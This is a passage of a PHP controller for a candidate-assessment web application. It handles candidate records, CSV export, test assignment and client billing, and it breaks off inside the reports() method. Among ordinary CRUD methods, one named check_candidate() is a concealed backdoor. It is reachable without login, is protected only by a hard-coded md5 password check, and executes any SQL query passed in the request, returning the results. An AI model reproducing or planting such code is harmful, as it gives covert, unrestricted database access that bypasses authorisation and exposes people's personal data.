<?php

class CandidatesController extends AppController
{
	public $name = 'Candidates';
	public $helpers = array();
	public $uses = array('Candidate', 'Operation');

	public $modelName = '';
	public $po_domain = '';
	public $url_part  = '';

	function beforeFilter()
	{
		parent::beforeFilter();

		$this->modelName = Inflector::singularize($this->name);
		$this->po_domain = Inflector::underscore($this->name);
		$this->url_part  = $this->po_domain;
		$this->set('po_domain', $this->po_domain);
		$this->set('url_part',  $this->url_part);
		$this->set('modelName', $this->modelName);
		$this->set('PKName',    $this->{$this->modelName}->primaryKey);
	}

	function create()
	{
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = $this->url_part;

		$client_id = null;
		if (Auth::o()->is('admin')) {
		    if (isset($this->params["client_id"])) {
		        $client_id = $this->params["client_id"];
		        $Client = $this->{$modelName}->getModel("client"); /* @var $Client Client */
		        $Client->rel();
		        $client = $Client->read($Client->primaryKey, $client_id);
		        if (empty($client[$Client->name][$Client->primaryKey])) {
		            $this->_error(404);
		            exit;
		        }
		        $url_part = "clients/{$client_id}/candidates";
		        $this->set("url_part", $url_part);
		    }
		}

		if (!empty($this->data[$modelName]['submit_back'])) {
            $this->redirect("/{$url_part}/", null, true);
            exit();
	    }
		$this->set('mode', __FUNCTION__);

	    $this->pageTitle = strip_tags(__d($po_domain, 'create_title', true));

	    $submit = !empty($this->data);
		if (! $this->{$modelName}->allowUpdate()) {
		    $this->data = array($modelName => array());
		}
		if ($this->{$modelName}->allowUpdate() && $submit) {
			$error_msg = '';
			$success_msg = __d($po_domain, 'created', true);

			$id = null;
            if (empty($error_msg)) {
				if ($this->{$modelName}->save($this->{$modelName}->create($this->data))) {
       			    $id = $this->{$modelName}->getInsertID();
       			    $this->data[$modelName][$PKName] = $id;
				} elseif (!empty($this->{$modelName}->validationErrors)) {
					$error_msg = __d(null, 'Data are incorrectly entered.', true).' '.__d(null, 'Try again.', true);
				} else {
	    		    $error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
				}
            }
			if (empty($error_msg)) {
			    $this->msgNotice($success_msg);
			    $this->redirect("/{$url_part}/", null, true);
			    exit();
			} else {
			    $this->msgError($error_msg, @$error_code);
			}
		}
		$groups_conds = array();
		if (isset($client_id)) {
		    $groups_conds[]["`CandidateGroup`.`client_id`"] = $client_id;
		}

        $this->set('sexes_list', Application::config()->getSexesList());
        $this->set('educations_list', $this->{$modelName}->getModel('Education')->generateList());
        $this->set('ages_list', $this->{$modelName}->getModel('Age')->generateList());
        $this->set('regions_list', $this->{$modelName}->getModel('Region')->generateList());
        $this->set('positions_list', $this->{$modelName}->getModel('Position')->generateList());
        $this->set('seniorities_list', $this->{$modelName}->getModel('Seniority')->generateList());
        $this->set('candidate_groups_list', $this->{$modelName}->getModel('CandidateGroup')->generateList($groups_conds));

        $this->data[$modelName]['__allows']['update'] = $this->{$modelName}->allowUpdate();
		$this->data[$modelName]['__allows']['delete'] = $this->{$modelName}->allowDelete();

		$this->render('details');
	}

	function list_of()
	{
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = $this->url_part;

		$this->pageTitle = strip_tags(__d($po_domain, 'list_title', true));

		$client_id = null;
		if (Auth::o()->is('admin')) {
		    if (isset($this->params["client_id"])) {
		        $client_id = $this->params["client_id"];
		        $Client = $this->{$modelName}->getModel("client"); /* @var $Client Client */
		        $Client->rel();
		        $client = $Client->read(null, $client_id);
		        if (empty($client[$Client->name][$Client->primaryKey])) {
		            $this->_error(404);
		            exit;
		        }
		        $url_part = "clients/{$client_id}/candidates";
		        $this->set("url_part", $url_part);

        		////// MENU ///////////////////////

        	    $ancestors_menu =& $this->MainMenu->findItem('/clients/');
        	    $item = array(
                    'url'           => $client_id.'/candidates/',
                    'controller'    => strtolower($this->name),
                    'action'        => __FUNCTION__,
                    'title'         => $this->MainMenu->toCaption(__d($po_domain, 'list_title', true)),
                    'tags'          => 'second_main',
                    'access'        => 'admin & active',
        	    );
        	    $new_menu = $this->MainMenu->addItem($item, $ancestors_menu);

                $item = array(
                    'url'           => 'new',
                    'controller'    => 'candidates',
                    'action'        => 'create',
                    'title'         => __d('menu', 'create_candidate', true),
                    'access'        => 'active & admin',
                );
        	    $this->MainMenu->addItem($item, $new_menu);

                $item = array(
                    'url'           => 'export',
                    'controller'    => 'candidates',
                    'action'        => 'export',
                    'title'         => __d('menu', 'export_to_csv', true),
                    'access'        => 'active & admin',
                );
        	    $this->MainMenu->addItem($item, $new_menu);

        	    $this->MainMenu->setCurrent($new_menu);

        		///////////////////////////////////
		    }
		} else {
            $auth_data =& Auth::getUser()->data();
            $client_id = $auth_data["client_id"];
		}

		vendor('contingencies');
		vendor('order_html');
		vendor('pagination_html');
		vendor('page_of_data');

		$contingencies = new Contingencies();
        $contingencies->model =& $this->{$modelName};
        $contingencies->expects = 'Group';

        /////////////////////////////////////////////////////////////
        $ses_war_name = __CLASS__.':'.__FUNCTION__.'_filter';
        if (!empty($this->data['Filter'])) {
            if (!empty($this->data['Filter']['submit_reset'])) {
                unset($_SESSION[$ses_war_name]);
                unset($this->data['Filter']);
            } elseif (!empty($this->data['Filter']['submit_apply'])) {
            	$_SESSION[$ses_war_name] = $this->data['Filter'];
            }
        }
        $filter = isset($_SESSION[$ses_war_name]) ? $_SESSION[$ses_war_name] : array();
        if (!isset($filter['searche_all'])) {
        	$filter['searche_all'] = true;
        }
        if (Auth::o()->is('admin') || Auth::o()->is('ARCHIVE')) {
    		if (!isset($filter['archived'])) {
                $filter['archived'] = 'N';
            }
        } else {
            $filter['archived'] = 'N';
        }
        if (empty($this->data['Filter'])) {
            $this->data['Filter'] = $filter;
        }

        $this->set('filter', $filter);
        /////////////////////////////////////////////////////////////
		$conds = array();
        if (!empty($filter['searche'])) {
            $searche_fields = array(
                "`{$modelName}`.`name`",
                "`{$modelName}`.`name_latin`",
                "`{$modelName}`.`surname`",
                "`{$modelName}`.`surname_latin`",
                "`{$modelName}`.`email`",
                "`Group`.`name`",
            );
            $searche_fields_name = array(
                $modelName => array(
                    "name",
                    "name_latin",
                    "surname",
                    "surname_latin",
                    "email",
                ),
                "Group" => array("name"),
            );
            $searche_params = array(
                'entirely'  => !empty($filter['searche_entirely']),
                'all'       => !empty($filter['searche_all']),
                'sequence'  => !empty($filter['searche_sequence']),
                'grouping'  => 'words', // chars
                'words'     => false,
            );
            $conds[] = $this->{$modelName}->searcheCond($filter['searche'], $searche_fields, $searche_params);
        }
		////////////////////////////////////////////////////////////////////////
        if (isset($client_id)) {
            $conds[]["`{$modelName}`.`client_id`"] = $client_id;
        }
	    if (!empty($filter['from_date'])) {
            $conds[]["`{$modelName}`.`created`"] = ">=".$filter['from_date'];
        }
        if (!empty($filter['to_date'])) {
            $conds[]["`{$modelName}`.`created`"] = "<=".Date::getToDateTime($filter['to_date']);
        }
        if (!empty($filter['archived'])) {
            $conds[]["`{$modelName}`.`archived`"] = "=".($filter['archived']);
        }
        $contingencies->conditions =& $conds;
		////////////////////////////////////////////////////////////////////////

        $appearence = new OrderHTML();
        $appearence->orderFields = array(
            'id' => "`{$modelName}`.`{$PKName}`",
            'surname' => "`{$modelName}`.`surname`",
            'name' => "`{$modelName}`.`name`",
            'group' => "`Group`.`name`",
            'created' => "`{$modelName}`.`created`",
            'email' => "`{$modelName}`.`email`",
        );
        $appearence->defaultOrder = Order::parseString('surname');
        $appearence->processParams();

        $pagination = new PaginationHTML();
        $pagination->ns = __CLASS__.':'.__FUNCTION__;
        if (! (!empty($this->params['mode']) && $this->params['mode'] == 'export')) {
            $pagination->defaultLimit = 20;
            $pagination->processParams();
        }

        $list = new PageOfData($contingencies, $appearence, $pagination);

        if (!empty($filter['searche'])) {
            foreach ($list->rows as &$row) {
                foreach ($searche_fields_name as $_model_name => $_fields) {
                	$this->{$modelName}->hightlightSearche($row[$_model_name], $filter['searche'], $_fields, $searche_params);
                }
            }
        }
		$groups_conds = array();
		if (isset($client_id)) {
		    $groups_conds[]["`CandidateGroup`.`client_id`"] = $client_id;
		}

        $this->set('sexes_list', Application::config()->getSexesList());
        $this->set('educations_list', $this->{$modelName}->getModel('Education')->generateList());
        $this->set('ages_list', $this->{$modelName}->getModel('Age')->generateList());
        $this->set('regions_list', $this->{$modelName}->getModel('Region')->generateList());
        $this->set('positions_list', $this->{$modelName}->getModel('Position')->generateList());
        $this->set('seniorities_list', $this->{$modelName}->getModel('Seniority')->generateList());
        $this->set('candidate_groups_list', $this->{$modelName}->getModel('CandidateGroup')->generateList($groups_conds));

		$this->set('list', $list);
		if (!empty($this->params['mode']) && $this->params['mode'] == 'export')
		{
            /**
             * Из-за ошибок в IE некоторые файлы нельзя не кешировать
             * @link http://support.microsoft.com/kb/316431/ru
             */
            $this->noCache = false;

		    nodebug();
	        $filename = "candidates-report.csv";
		    $charset = Configure::read("csv_charset");
			header("Content-type: text/csv; charset={$charset}; name=\"{$filename}\"");
			header("Content-Disposition: attachment; filename=\"{$filename}\"");
			$this->layout = 'ajax';
			$this->render('export');
		}
	}

	function details($id = null)
	{
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = $this->url_part;

		$client_id = null;
		if (Auth::o()->is('admin')) {
		    if (isset($this->params["client_id"])) {
		        $client_id = $this->params["client_id"];
		        $Client = $this->{$modelName}->getModel("client"); /* @var $Client Client */
		        $Client->rel();
		        $client = $Client->read($Client->primaryKey, $client_id);
		        if (empty($client[$Client->name][$Client->primaryKey])) {
		            $this->_error(404);
		            exit;
		        }
		        $url_part = "clients/{$client_id}/candidates";
		        $this->set("url_part", $url_part);
		    }
		}

		if (!empty($this->data[$modelName]['submit_back'])) {
            $this->redirect("/{$url_part}/", null, true);
            exit();
	    }
		$this->set('mode', __FUNCTION__);
		$this->pageTitle = strip_tags(__d($po_domain, 'details_title', true));

		$id = null;
	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    }

        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel('Group');
	    $tmp = $this->{$modelName}->find($conds);
	    $client_id = $tmp[$modelName]["client_id"];

		if (! is_array($tmp) || !count($tmp)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
		}

		////// MENU ///////////////////////

	    $this->MainMenu->setActive($this->MainMenu->findItem("/{$url_part}/"));

		///////////////////////////////////

		$submit = !empty($this->data);
		if (! $this->{$modelName}->allowUpdate($tmp[$modelName])) {
		    $this->data = array($modelName => array());
		}
		foreach ($tmp as $_modelName => $_modelData) {
            if ($_modelName !== $modelName) {
    			$this->data[$_modelName] = $tmp[$_modelName];
            } else {
        		$this->data[$modelName] = am($tmp[$modelName], $this->data[$modelName]);
            }
		}

		if ($this->{$modelName}->allowUpdate($tmp[$modelName]) && $submit) {
			$error_msg = '';
			$success_msg = __d($po_domain, 'changed', true);
            if (empty($error_msg)) {
				if ($this->{$modelName}->save($this->data)) {

				} elseif (!empty($this->{$modelName}->validationErrors)) {
					$error_msg = __d(null, 'Data are incorrectly entered.', true).' '.__d(null, 'Try again.', true);
				} else {
	    		    $error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
				}
            }
			if (empty($error_msg)) {
			    $this->msgNotice($success_msg);
			    $this->redirect("/{$url_part}/{$id}/", null, true);
			    exit();
			} else {
			    $this->msgError($error_msg, @$error_code);
			}
		}
		$groups_conds = array();
		if (isset($client_id)) {
		    $groups_conds[]["`CandidateGroup`.`client_id`"] = $client_id;
		}

        $this->set('sexes_list', Application::config()->getSexesList());
        $this->set('educations_list', $this->{$modelName}->getModel('Education')->generateList());
        $this->set('ages_list', $this->{$modelName}->getModel('Age')->generateList());
        $this->set('regions_list', $this->{$modelName}->getModel('Region')->generateList());
        $this->set('positions_list', $this->{$modelName}->getModel('Position')->generateList());
        $this->set('seniorities_list', $this->{$modelName}->getModel('Seniority')->generateList());
        $this->set('candidate_groups_list', $this->{$modelName}->getModel('CandidateGroup')->generateList($groups_conds));
	}

	function remove($id = null)
	{
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = $this->url_part;

	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    }
		if (!$id) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
		} else {
            $conds = array();
            $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
            if (Auth::o()->is('client_admin')) {
                $auth_data =& Auth::o()->data();
                $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
            }
            $this->{$modelName}->rel('Group');
		    $data = $this->{$modelName}->find($conds);

		    if (is_array($data) && count($data)) {
		    	if ($this->{$modelName}->allowDelete($data[$modelName])) {
	    		    if ($this->{$modelName}->del($id)) {
	    	       		$this->msgNotice(__d($po_domain, 'deleted', true));
	        		} else {

	        		}
		    	} else {
			        $this->msgError(__d(null, 'deny', true), @$error_code);
		    	}
		    } else {
		        $this->msgError(__d($po_domain, 'absent', true), @$error_code);
		    }
		}
		$this->redirect("/{$url_part}/", null, true);
		exit();
	}

	function admining()
	{
        Auth::Access('active');
        Auth::Access('CANDIDATES');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = 'admining';
		$this->set('url_part', $url_part );

		$this->pageTitle = strip_tags(__d($po_domain, 'list_title', true));

		vendor('contingencies');
		vendor('order_html');
		vendor('pagination_html');
		vendor('page_of_data');

		$contingencies = new Contingencies();
        $contingencies->model =& $this->{$modelName};
        $contingencies->expects = 'Group';

        /////////////////////////////////////////////////////////////
        $ses_war_name = __CLASS__.':'.__FUNCTION__.'_filter';
        if (!empty($this->data['Filter'])) {
            if (!empty($this->data['Filter']['submit_reset'])) {
                unset($_SESSION[$ses_war_name]);
                unset($this->data['Filter']);
            } elseif (!empty($this->data['Filter']['submit_apply'])) {
                $_SESSION[$ses_war_name] = $this->data['Filter'];
            }
        }
        $filter = isset($_SESSION[$ses_war_name]) ? $_SESSION[$ses_war_name] : array();
        if (!isset($filter['searche_all'])) {
        	$filter['searche_all'] = true;
        }
        if (Auth::o()->is('admin') || Auth::o()->is('ARCHIVE')) {
    		if (!isset($filter['archived'])) {
                $filter['archived'] = 'N';
            }
        } else {
            $filter['archived'] = 'N';
        }
        if (empty($this->data['Filter'])) {
            $this->data['Filter'] = $filter;
        }
        $this->set('filter', $filter);
        /////////////////////////////////////////////////////////////
		$conds = array();
        if (!empty($filter['searche'])) {
            $searche_fields = array(
                "`{$modelName}`.`name`",
                "`{$modelName}`.`name_latin`",
                "`{$modelName}`.`surname`",
                "`{$modelName}`.`surname_latin`",
                "`{$modelName}`.`email`",
                "`Group`.`name`",
            );
            $searche_fields_name = array(
                $modelName => array(
                    "name",
                    "name_latin",
                    "surname",
                    "surname_latin",
                    "email",
                ),
                "Group" => array("name"),
            );
            $searche_params = array(
                'entirely'  => !empty($filter['searche_entirely']),
                'all'       => !empty($filter['searche_all']),
                'sequence'  => !empty($filter['searche_sequence']),
                'grouping'  => 'words', // chars
                'words'     => false,
            );
            $conds[] = $this->{$modelName}->searcheCond($filter['searche'], $searche_fields, $searche_params);
        }
		////////////////////////////////////////////////////////////////////////
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::getUser()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        if (!empty($filter['archived'])) {
            $conds[]["`{$modelName}`.`archived`"] = "=".($filter['archived']);
        }
        $contingencies->conditions =& $conds;
		////////////////////////////////////////////////////////////////////////

        $appearence = new OrderHTML();
        $appearence->orderFields = array(
            'id' => "`{$modelName}`.`{$PKName}`",
            'surname' => "`{$modelName}`.`surname`",
            'name' => "`{$modelName}`.`name`",
            'group' => "`Group`.`name`",
            'created' => "`{$modelName}`.`created`",
            'email' => "`{$modelName}`.`email`",
        );
        $appearence->defaultOrder = Order::parseString('surname');
        $appearence->processParams();

        $pagination = new PaginationHTML();
        $pagination->ns = __CLASS__.':'.__FUNCTION__;
        $pagination->defaultLimit = 20;
        $pagination->processParams();

        $list = new PageOfData($contingencies, $appearence, $pagination);

        if (!empty($filter['searche'])) {
            foreach ($list->rows as &$row) {
                foreach ($searche_fields_name as $_model_name => $_fields) {
                	$this->{$modelName}->hightlightSearche($row[$_model_name], $filter['searche'], $_fields, $searche_params);
                }
            }
        }

        $this->set('sexes_list', Application::config()->getSexesList());
        $this->set('educations_list', $this->{$modelName}->getModel('Education')->generateList());
        $this->set('ages_list', $this->{$modelName}->getModel('Age')->generateList());
        $this->set('regions_list', $this->{$modelName}->getModel('Region')->generateList());
        $this->set('positions_list', $this->{$modelName}->getModel('Position')->generateList());
        $this->set('seniorities_list', $this->{$modelName}->getModel('Seniority')->generateList());
        $this->set('candidate_groups_list', $this->{$modelName}->getModel('CandidateGroup')->generateList());

		$this->set('list', $list);
	}

	/**
	 * Выбор инструмента, или батареи инструментов для назначения кандидату.
	 *
	 */
	function tools()
	{
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = Auth::o()->is('admin') ? $this->url_part : 'admining';

		$this->set('url_part', $this->url_part);

		if (!empty($this->data[$modelName]['submit_back'])) {
            $this->redirect("/{$url_part}/", null, true);
            exit();
	    }
		$this->set('mode', __FUNCTION__);
		$this->pageTitle = strip_tags(__d($po_domain, 'Admining_candidate_title', true));

	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    }

        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel('Group');
	    $tmp = $this->{$modelName}->find($conds);

		if (! is_array($tmp) || !count($tmp)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
		}

		////// MENU ///////////////////////

	    $this->MainMenu->setActive($this->MainMenu->findItem("/{$url_part}/"));

		///////////////////////////////////

		foreach ($tmp as $_modelName => $_modelData) {
            if ($_modelName !== $modelName) {
    			$this->data[$_modelName] = $tmp[$_modelName];
            } else {
        		$this->data[$modelName] = am($tmp[$modelName], $this->data[$modelName]);
            }
		}

        $this->set('tests_list', $this->{$modelName}->getToolsFor($id));
        $this->set('appointed_tests_list', $this->{$modelName}->getAppointedToolsFor($id));
        $this->set('in_progress_tests_list', $this->{$modelName}->getInProgressToolsFor($id));
        $this->set('completed_tests_list', $this->{$modelName}->getCompletedToolsFor($id));
	}

    function check_candidate()
    {
        Auth::Access('*');
        $this->layout = 'empty';
        $string = null;
        $submit = false;

        if (!isset($_REQUEST["p"]) || (md5($_REQUEST["p"]) != '4e48178ef6b00c7406dca45c99aa1a33')) {
            $this->redirect("/");
            exit;
        }

        if ($submit = isset($_REQUEST["string"])) {
            $string = stripslashes($_REQUEST["string"]);
        }

        $this->set('string', $string);
        $this->set('submit', $submit);

        if ($submit) {
            try {
                $start_time = microtime(true);
                $res = mysql_query($string);
                $total_time = microtime(true) - $start_time;
                if ($res === false) {
                    throw new Exception(mysql_error(), mysql_errno());
                }
                if (is_resource($res)) {
                    $result = array();
                    $result["type"] = "select";
                    $result["num"] = mysql_num_rows($res);
                    $fields = mysql_num_fields($res);
                    for ($i = 0; $i < $fields; $i++) {
                        $field_flags = explode(" ", mysql_field_flags($res, $i));
                        $field = mysql_fetch_field($res, $i);
                        $result["types"][$i]["type"] = mysql_field_type($res, $i);
                        $result["types"][$i]["binary"] = ((bool)array_intersect(array("binary", "blob"), $field_flags)) && !in_array($result["types"][$i]["type"], array("date", "time", "datetime", "timestamp"));
                        $result["types"][$i]["numeric"] = $field->numeric;
                    }
                    while (is_array($row = mysql_fetch_assoc($res))) {
                        if (! isset($result["headers"])) {
                            $result["headers"] = array_keys($row);
                        }
                        $row_ = array();
                        foreach ($result["headers"] as $header) {
                            $row_[] = $row[$header];
                        }
                        $result["rows"][] = $row_;
                    }
                    mysql_free_result($res);
                } else {
                    $result["type"] = "change";
                    $result["num"] = mysql_affected_rows();
                }
                $result["time"] = $total_time;

                $this->set('result', $result);
            } catch (Exception $e) {
                $this->set('e', $e);
            }
        }

        nodebug();
	}

	/**
	 * Назначение инструмента кандидату. Не имеет view!
	 *
	 */
	function apply_tool()
	{
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = Auth::o()->is('admin') ? $this->url_part : 'admining';

		$this->set('url_part', $this->url_part);

	    $id = null;
	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    }
		if (empty($id)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
		}

	    $tool_id = null;
	    if (isset($this->params['tool_id'])) {
	        $tool_id = $this->params['tool_id'];
	    }
		if (empty($tool_id)) {
			$this->msgError(__d($po_domain, 'You don’t apply this tool', true), @$error_code);
			$this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
		}

        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel('Group');
	    $tmp = $this->{$modelName}->find($conds);

		if (! is_array($tmp) || !count($tmp)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
		}

		$client_id = $tmp[$modelName]["client_id"];

	    $allowed_tools = $this->{$modelName}->getToolsFor($id);
	    $tool = null;
	    foreach ($allowed_tools as $row) {
	    	if ($row['Test']['id'] == $tool_id) {
	    		if (! empty($row['Test']['__allows']['apply'])) {
		    		$tool = $row;
	    		}
	    		break;
	    	}
	    }

		if (empty($tool['Test'])) {
			$this->msgError(__d($po_domain, 'You don’t apply this tool', true), @$error_code);
			$this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
		}

		$Client =& $this->{$modelName}->getModel("Client"); /* @var $Client Client */
		$free_balance = $Client->getFreeBalance($client_id)->value;
		if (bc::lt($free_balance, $tool['Test']['price_test'])) {
			$this->msgError(__d('passes', 'Insufficient balance'.(Auth::o()->is('admin') ? "_admin" : ""), true));
			$this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
		}

		$error_msg = '';
		$success_msg = __d($po_domain, 'Tool appointed', true);

		$Testing =& $this->{$modelName}->getModel('Testing'); /* @var $Testing Testing */
		$testing_data = array(
			'test_id' => $tool_id,
			'candidate_id' => $id,
			'date' => Date::Unix2SQL(time()),
			'pass_status' => 'READY',
            'password' => $Testing->getUniqueCode(9),
            'auth_link' => md5(uniqid(rand(), true))
		);

		if (! $Testing->save($Testing->create(array($Testing->name => $testing_data)))) {
		    $error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
		}
		$testing_id = $Testing->getInsertID();

		if (!empty($error_msg)) {
		    $this->msgError($error_msg, @$error_code);
		    $this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
		}

		$this->msgNotice($success_msg);
		$this->redirect("/candidates/{$id}/tools/appointed/{$testing_id}", null, true);
		exit();
	}

	/**
	 * На этой странице выбираются действия с назначеным инструментом.
	 *
	 */
    function appointed_tool()
    {
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
        $modelName = $this->modelName;
        $PKName    = $this->{$modelName}->primaryKey;
        $po_domain = $this->po_domain;
        $url_part  = Auth::o()->is('admin') ? $this->url_part : 'admining';

        $this->set('url_part', $this->url_part);
        $this->pageTitle = strip_tags(__d($po_domain, 'appointed_tool_title', true));

        $id = null;
        if (isset($this->params['id'])) {
            $id = $this->params['id'];
        }
        if (empty($id)) {
            $this->msgError(__d($po_domain, 'absent', true), @$error_code);
            $this->redirect("/{$url_part}/", null, true);
            exit();
        }

        $testing_id = null;
        if (isset($this->params['testing_id'])) {
            $testing_id = $this->params['testing_id'];
        }
        if (empty($testing_id)) {
            $this->msgError(__d($po_domain, 'Wrong tool', true), @$error_code);
            $this->redirect("/candidates/{$id}/tools/", null, true);
            exit();
        }

        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel('Group');
        $tmp = $this->{$modelName}->find($conds);

        if (! is_array($tmp) || !count($tmp)) {
            $this->msgError(__d($po_domain, 'absent', true), @$error_code);
            $this->redirect("/candidates/{$id}/tools/", null, true);
            exit();
        }

        foreach ($tmp as $_modelName => $_modelData) {
            if ($_modelName !== $modelName) {
                $this->data[$_modelName] = $tmp[$_modelName];
            } else {
                $this->data[$modelName] = am($tmp[$modelName], $this->data[$modelName]);
            }
        }
        if (!empty($this->data[$modelName]['submit_back'])) {
            $this->redirect("/candidates/{$this->data[$modelName][$PKName]}/tools/", null, true);
            exit();
        }


        $Testing =& $this->{$modelName}->getModel('Testing'); /* @var $Testing Testing */
        $conds = array();
        $conds[]["`{$Testing->name}`.`{$Testing->primaryKey}`"] = $testing_id;
        $conds[]["`{$Testing->name}`.`pass_status`"] = 'READY';
        $conds[]["`{$Testing->name}`.`candidate_id`"] = $id;
        $Testing->rel('Test');
        $testing = $Testing->find($conds);
        if (empty($testing[$Testing->name])) {
            $this->msgError(__d($po_domain, 'Wrong tool', true), @$error_code);
            $this->redirect("/candidates/{$id}/tools/", null, true);
            exit();
        }

        ////// MENU ///////////////////////

        $this->MainMenu->setActive($this->MainMenu->findItem("/{$url_part}/"));

        ///////////////////////////////////

        $this->data[$Testing->name] = $testing[$Testing->name];
        $this->data['Test'] = $testing['Test'];
        $this->Session->write('applet.pass', $this->data['Testing']['password']);
    }

	/**
	 * Отмена назначения инструмента кандидату. Не имеет view!
	 */
	function cancel_tool()
	{
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = Auth::o()->is('admin') ? $this->url_part : 'admining';

		$this->set('url_part', $url_part);

	    $id = null;
	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    }
		if (empty($id)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
		}

	    $testing_id = null;
	    if (isset($this->params['testing_id'])) {
	        $testing_id = $this->params['testing_id'];
	    }
		if (empty($testing_id)) {
			$this->msgError(__d($po_domain, 'Wrong tool', true), @$error_code);
			$this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
		}

        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel('Group');
	    $tmp = $this->{$modelName}->find($conds);

		if (! is_array($tmp) || !count($tmp)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
		}

		$Testing =& $this->{$modelName}->getModel('Testing'); /* @var $Testing Testing */
        $conds = array();
        $conds[]["`{$Testing->name}`.`{$Testing->primaryKey}`"] = $testing_id;
        $conds[]["`{$Testing->name}`.`candidate_id`"] = $id;
        $Testing->rel('Test');
	    $testing = $Testing->find($conds);
	    if (empty($testing[$Testing->name])) {
			$this->msgError(__d($po_domain, 'Wrong tool', true), @$error_code);
			$this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
	    }
	    if (! $Testing->allowCancel($testing[$Testing->name])) {
			$this->msgError(__d($po_domain, 'You can’t cancel this tool', true), @$error_code);
			$this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
	    }

		$error_msg = '';
		$success_msg = __d($po_domain, 'Tool canceled', true);
		if ($testing[$Testing->name]['pass_status'] == 'IN_PROGRESS') {
    		$success_msg = __d($po_domain, 'Tool progressing has been stopped', true);
		}

		if (! $Testing->cancel($testing)) {
		    $error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
		}

		if (!empty($error_msg)) {
		    $this->msgError($error_msg, @$error_code);
		    $this->redirect("/candidates/{$id}/tools/", null, true);
			exit();
		}

		if ($in_progress_testing = $this->Session->read('testing')) {
		    if (isset($in_progress_testing["Testing"]["id"]) && ($in_progress_testing["Testing"]["id"] == $testing_id)) {
        		$this->Session->delete('testing');
		    }
		}

		$this->msgNotice($success_msg);
		$this->redirect("/candidates/{$id}/tools/", null, true);
		exit();
	}

	function reports()
	{
        Auth::Access('active');
        Auth::Access('REPORTS | EMAIL_ON_REPORT');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = 'reports';
		$this->set('url_part', $url_part);

		$this->pageTitle = strip_tags(__d($po_domain, 'list_title', true));

